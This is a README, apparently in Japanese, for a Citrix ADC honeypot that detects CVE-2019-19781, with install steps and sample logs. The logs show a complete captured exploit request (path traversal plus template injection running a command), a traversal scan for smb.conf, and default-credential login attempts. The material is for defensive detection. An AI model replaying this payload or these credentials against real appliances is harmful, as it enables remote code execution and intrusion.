
Citrix ADC (NetScaler) ハニーポット。CVE-2019-19781 とログイン試行の検出をサポート。

プリコンパイル済みLinux(x64)パッケージはこちらから入手できます。
mkdir citrix-honeypot
cd citrix-honeypot
wget https://github.com/x1sec/citrix-honeypot/releases/download/v0.02/citrix-honeypot-linux-amd64.tar.gz
tar -xf citrix-honeypot-linux-amd64.tar.gz
Go 環境が準備できている場合は、次のコマンドを実行します。
go get github.com/x1sec/citrix-honeypot
自己署名証明書を生成します。
openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
次のように簡単に実行できます。
./citrix-honeypot
ハニーポットはポート 80 と 443 の両方で待ち受けます(そのため root ユーザーで実行する必要があります)。
または、バックグラウンドプロセスとして切り離して実行する場合:
nohup ./citrix-honeypot &
結果/データは ./log ディレクトリに書き込まれます。内容は次のとおりです。
hits.log - スキャン試行と悪用試行の全データ(例:ヘッダー、POST本文)
all.log - サーバーに到達したすべてのHTTPリクエスト
logins.log - Webインターフェイスへのログイン試行
tlsErrors.log - インターネットスキャナーがポート 443 に無効なデータを送信することがよくあります。HTTPSエラーはここに記録されます。
最初に公開されたエクスプロイトを実行した場合:
$ cat logs/hits.log
2020/01/23 08:27:55
-------------------
Exploitation detected ...
src: xxx.xxx.xxx.xxx
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Nsc_nonce: test1337
Nsc_user: /../../../../../../../../../../netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS
User-Agent: curl/7.67.0
url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'id | tee /netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb
スキャン試行:
$ cat logs/hits.log
2020/01/23 08:41:02
-------------------
Scanning detected ...
src: xxx.xxx.xxx.xxx
GET /vpn/../vpns/cfg/smb.conf HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: curl/7.67.0
ログイン試行:
$ cat logs/logins.log
2020/01/23 07:26:03 Failed login from xxx.xxx.xxx.xxx user:nsroot pass:nsroot
2020/01/23 08:26:03 Failed login from xxx.xxx.xxx.xxx user:admin pass:admin